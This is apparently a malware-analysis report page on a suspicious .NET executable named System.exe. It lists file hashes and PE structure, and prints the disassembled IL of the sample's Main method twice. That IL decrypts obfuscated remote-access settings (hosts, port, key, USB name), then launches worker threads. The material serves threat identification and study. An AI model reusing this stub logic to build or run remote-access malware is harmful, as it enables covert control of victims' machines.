Suspicious
Suspect

4b92ad12a0b36a8c392f357686772df1

Share on LinkedIn
Print
PE Executable
MD5: 4b92ad12a0b36a8c392f357686772df1
Size: 78.85 KB
application/x-dosexec

Get an AI-generated breakdown of this malware's behaviour, IOCs and recommendations.

AI analysis is available with Essential.
Unlock with Essential
Symbol Obfuscation Score Medium
MD5 4b92ad12a0b36a8c392f357686772df1
Sha1 c9b310129dfd8ca8fbe110012ebb62282b8e3360
Sha256 e60b08b9f64d2d74593a081c5cdc9f82efd76af53fd9b42cab5bef3888e1b5ab
Sha384 1b88bf5966274049662e6f4813b93268397c77ca303def07af8d9544c7029565de4188a58e713cfb930e3da7a003b57a
Sha512 59af56e8a9632723a12ed62f24d95ab41cf927762d69c72af5c44562e0264618184bc4b5485f0b120754f208b08a62c663d8dc905e2edd95a1019f1611ac0c42
SSDeep 1536:vTAY30YyLQ/xemN62NzLlQihEcwlUqq4Nxa2VbVev4RQ:d3dfewLnktHxpVbVevr
TLSH 9B735C4FFB15C588C3AD4F7B85A3544443ADE8A76427E77B24CC0EE16E228D8894FD49
PeID
.NET executableMicrosoft Visual C# / Basic .NETMicrosoft Visual C# / Basic.NET / MS Visual Basic 2005 - ASL Microsoft Visual C# v7.0 / Basic .NETMicrosoft Visual Studio .NET
4b92ad12a0b36a8c392f357686772df1
Structure
DosHeader
PE Header
Optional Header (x86)
Section Headers
.text
.rsrc
.reloc
Resources
RT_VERSION
ID:0001
ID:0
RT_MANIFEST
ID:0001
ID:0
STICH beta

No STICH Path has been generated for this analysis yet.

1 structural branch were classified as secondary (decorative or non-determinant content) and did not produce a fingerprint.

bin 1
Name Value
Module Name
System.exe
Full Name
System.exe
EntryPoint
System.Void Stub.Main::Main()
Scope Name
System.exe
Scope Type
ModuleDef
Kind
Windows
Runtime Version
v4.0.30319
Tables Header Version
512
WinMD Version
<null>
Assembly Name
System
Assembly Version
1.0.0.0
Assembly Culture
<null>
Has PublicKey
False
PublicKey Token
<null>
Target Framework
<null>
Info
PE Detect: PeReader OK (file layout)
Total Strings
0
Main Method
System.Void Stub.Main::Main()
Main IL Instruction Count
122
Main IL 
ldsfld System.Byte[] Stub.AlgorithmAES::Ⴗ
stloc.s V_5
ldsfld System.Int32 Settings::Sleep
ldc.i4 1000
mul.ovf <null>
ldc.i4 823
ldc.i4 848
call System.Void My.MyApplication::Ⴗ(System.Int32,System.Char,System.Int32)
ldc.i4.2 <null>
stloc.s V_4
ldloc.s V_4
switch dnlib.DotNet.Emit.Instruction[]
ldsfld System.String Settings::Hosts
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
ldc.i4 684
ldc.i4 677
call System.String My.MyApplication::Ⴓ<System.Object>(System.Object,System.Char,System.Char)
stsfld System.String Settings::Hosts
ldsfld System.String Settings::Port
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
ldc.i4.s 70
ldc.i4.s 79
call System.String My.MyApplication::Ⴓ<System.Object>(System.Object,System.Char,System.Char)
stsfld System.String Settings::Port
ldc.i4.1 <null>
stloc.s V_4
br.s IL_0024: ldloc.s V_4
ldsfld System.String Settings::KEY
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
ldc.i4 1009
ldc.i4 1016
call System.String My.MyApplication::Ⴓ<System.Object>(System.Object,System.Char,System.Char)
stsfld System.String Settings::KEY
ldsfld System.String Settings::SPL
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
ldc.i4 264
ldc.i4 257
call System.String My.MyApplication::Ⴓ<System.Object>(System.Object,System.Char,System.Char)
stsfld System.String Settings::SPL
ldloc.s V_5
ldc.i4.5 <null>
ldelem.u1 <null>
ldc.i4.s 25
ldsfld System.Byte[] Stub.AlgorithmAES::Ⴗ
ldc.i4.s 44
ldsfld System.Byte[] Stub.AlgorithmAES::Ⴗ
ldc.i4.s 44
ldelem.u1 <null>
ldsfld System.Int32[] Stub.Messages/ႤႥ::Ⴐ
ldc.i4.s 109
ldelem.i4 <null>
or <null>
ldc.i4 237
and <null>
stelem.i1 <null>
sub <null>
stloc.s V_4
br IL_0024: ldloc.s V_4
ldsfld System.String Settings::Groub
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
ldc.i4 257
ldc.i4 264
call System.String My.MyApplication::Ⴓ<System.Object>(System.Object,System.Char,System.Char)
stsfld System.String Settings::Groub
ldsfld System.String Settings::USBNM
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
ldc.i4 860
ldc.i4 853
call System.String My.MyApplication::Ⴓ<System.Object>(System.Object,System.Char,System.Char)
stsfld System.String Settings::USBNM
leave.s IL_014B: ldc.i4.0
dup <null>
ldc.i4.s 124
ldc.i4.s 80
call System.Void Stub.Main::Ⴓ<System.Exception>(System.Exception,System.Int32,System.Int32)
stloc.2 <null>
ldc.i4.0 <null>
ldc.i4 943
ldc.i4 967
call System.Void My.MyApplication::Ⴗ(System.Int32,System.Char,System.Int32)
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError()
leave.s IL_014B: ldc.i4.0
ldc.i4.0 <null>
stloc.s V_7
ldloc.s V_7
switch dnlib.DotNet.Emit.Instruction[]
call System.Boolean Ⴍ.Ⴍ::Ⴓ()
brtrue.s IL_0181: ldc.i4.5
ldc.i4.4 <null>
stloc.s V_7
br.s IL_014E: ldloc.s V_7
ldc.i4.5 <null>
br.s IL_017D: stloc.s V_7
ldc.i4.0 <null>
call System.Void System.Environment::Exit(System.Int32)
call System.Void Ⴍ.Ⴍ::Ⴈ()
ldnull <null>
ldftn System.Void Stub.Main::_Lambda$__1()
newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr)
newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart)
stloc.0 <null>
ldnull <null>
ldftn System.Void Stub.Main::_Lambda$__2()
newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr)
newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart)
stloc.1 <null>
ldc.i4.7 <null>
stloc.s V_7
br.s IL_014E: ldloc.s V_7
ldloc.0 <null>
castclass System.Threading.Thread
callvirt System.Void System.Threading.Thread::Start()
ldloc.1 <null>
isinst System.Threading.Thread
callvirt System.Void System.Threading.Thread::Start()
ldloc.1 <null>
castclass System.Threading.Thread
callvirt System.Void System.Threading.Thread::Join()
ret <null>
ldtoken System.Void Stub.Main::Main()
pop <null>
ret <null>
Module Name
System.exe
Full Name
System.exe
EntryPoint
System.Void Stub.Main::Main()
Scope Name
System.exe
Scope Type
ModuleDef
Kind
Windows
Runtime Version
v4.0.30319
Tables Header Version
512
WinMD Version
<null>
Assembly Name
System
Assembly Version
1.0.0.0
Assembly Culture
<null>
Has PublicKey
False
PublicKey Token
<null>
Target Framework
<null>
Total Strings
0
Main Method
System.Void Stub.Main::Main()
Main IL Instruction Count
122
Main IL 
ldsfld System.Byte[] Stub.AlgorithmAES::Ⴗ
stloc.s V_5
ldsfld System.Int32 Settings::Sleep
ldc.i4 1000
mul.ovf <null>
ldc.i4 823
ldc.i4 848
call System.Void My.MyApplication::Ⴗ(System.Int32,System.Char,System.Int32)
ldc.i4.2 <null>
stloc.s V_4
ldloc.s V_4
switch dnlib.DotNet.Emit.Instruction[]
ldsfld System.String Settings::Hosts
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
ldc.i4 684
ldc.i4 677
call System.String My.MyApplication::Ⴓ<System.Object>(System.Object,System.Char,System.Char)
stsfld System.String Settings::Hosts
ldsfld System.String Settings::Port
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
ldc.i4.s 70
ldc.i4.s 79
call System.String My.MyApplication::Ⴓ<System.Object>(System.Object,System.Char,System.Char)
stsfld System.String Settings::Port
ldc.i4.1 <null>
stloc.s V_4
br.s IL_0024: ldloc.s V_4
ldsfld System.String Settings::KEY
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
ldc.i4 1009
ldc.i4 1016
call System.String My.MyApplication::Ⴓ<System.Object>(System.Object,System.Char,System.Char)
stsfld System.String Settings::KEY
ldsfld System.String Settings::SPL
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
ldc.i4 264
ldc.i4 257
call System.String My.MyApplication::Ⴓ<System.Object>(System.Object,System.Char,System.Char)
stsfld System.String Settings::SPL
ldloc.s V_5
ldc.i4.5 <null>
ldelem.u1 <null>
ldc.i4.s 25
ldsfld System.Byte[] Stub.AlgorithmAES::Ⴗ
ldc.i4.s 44
ldsfld System.Byte[] Stub.AlgorithmAES::Ⴗ
ldc.i4.s 44
ldelem.u1 <null>
ldsfld System.Int32[] Stub.Messages/ႤႥ::Ⴐ
ldc.i4.s 109
ldelem.i4 <null>
or <null>
ldc.i4 237
and <null>
stelem.i1 <null>
sub <null>
stloc.s V_4
br IL_0024: ldloc.s V_4
ldsfld System.String Settings::Groub
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
ldc.i4 257
ldc.i4 264
call System.String My.MyApplication::Ⴓ<System.Object>(System.Object,System.Char,System.Char)
stsfld System.String Settings::Groub
ldsfld System.String Settings::USBNM
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
ldc.i4 860
ldc.i4 853
call System.String My.MyApplication::Ⴓ<System.Object>(System.Object,System.Char,System.Char)
stsfld System.String Settings::USBNM
leave.s IL_014B: ldc.i4.0
dup <null>
ldc.i4.s 124
ldc.i4.s 80
call System.Void Stub.Main::Ⴓ<System.Exception>(System.Exception,System.Int32,System.Int32)
stloc.2 <null>
ldc.i4.0 <null>
ldc.i4 943
ldc.i4 967
call System.Void My.MyApplication::Ⴗ(System.Int32,System.Char,System.Int32)
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError()
leave.s IL_014B: ldc.i4.0
ldc.i4.0 <null>
stloc.s V_7
ldloc.s V_7
switch dnlib.DotNet.Emit.Instruction[]
call System.Boolean Ⴍ.Ⴍ::Ⴓ()
brtrue.s IL_0181: ldc.i4.5
ldc.i4.4 <null>
stloc.s V_7
br.s IL_014E: ldloc.s V_7
ldc.i4.5 <null>
br.s IL_017D: stloc.s V_7
ldc.i4.0 <null>
call System.Void System.Environment::Exit(System.Int32)
call System.Void Ⴍ.Ⴍ::Ⴈ()
ldnull <null>
ldftn System.Void Stub.Main::_Lambda$__1()
newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr)
newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart)
stloc.0 <null>
ldnull <null>
ldftn System.Void Stub.Main::_Lambda$__2()
newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr)
newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart)
stloc.1 <null>
ldc.i4.7 <null>
stloc.s V_7
br.s IL_014E: ldloc.s V_7
ldloc.0 <null>
castclass System.Threading.Thread
callvirt System.Void System.Threading.Thread::Start()
ldloc.1 <null>
isinst System.Threading.Thread
callvirt System.Void System.Threading.Thread::Start()
ldloc.1 <null>
castclass System.Threading.Thread
callvirt System.Void System.Threading.Thread::Join()
ret <null>
ldtoken System.Void Stub.Main::Main()
pop <null>
ret <null>
An error has occurred. This application may no longer respond until reloaded. Reload 🗙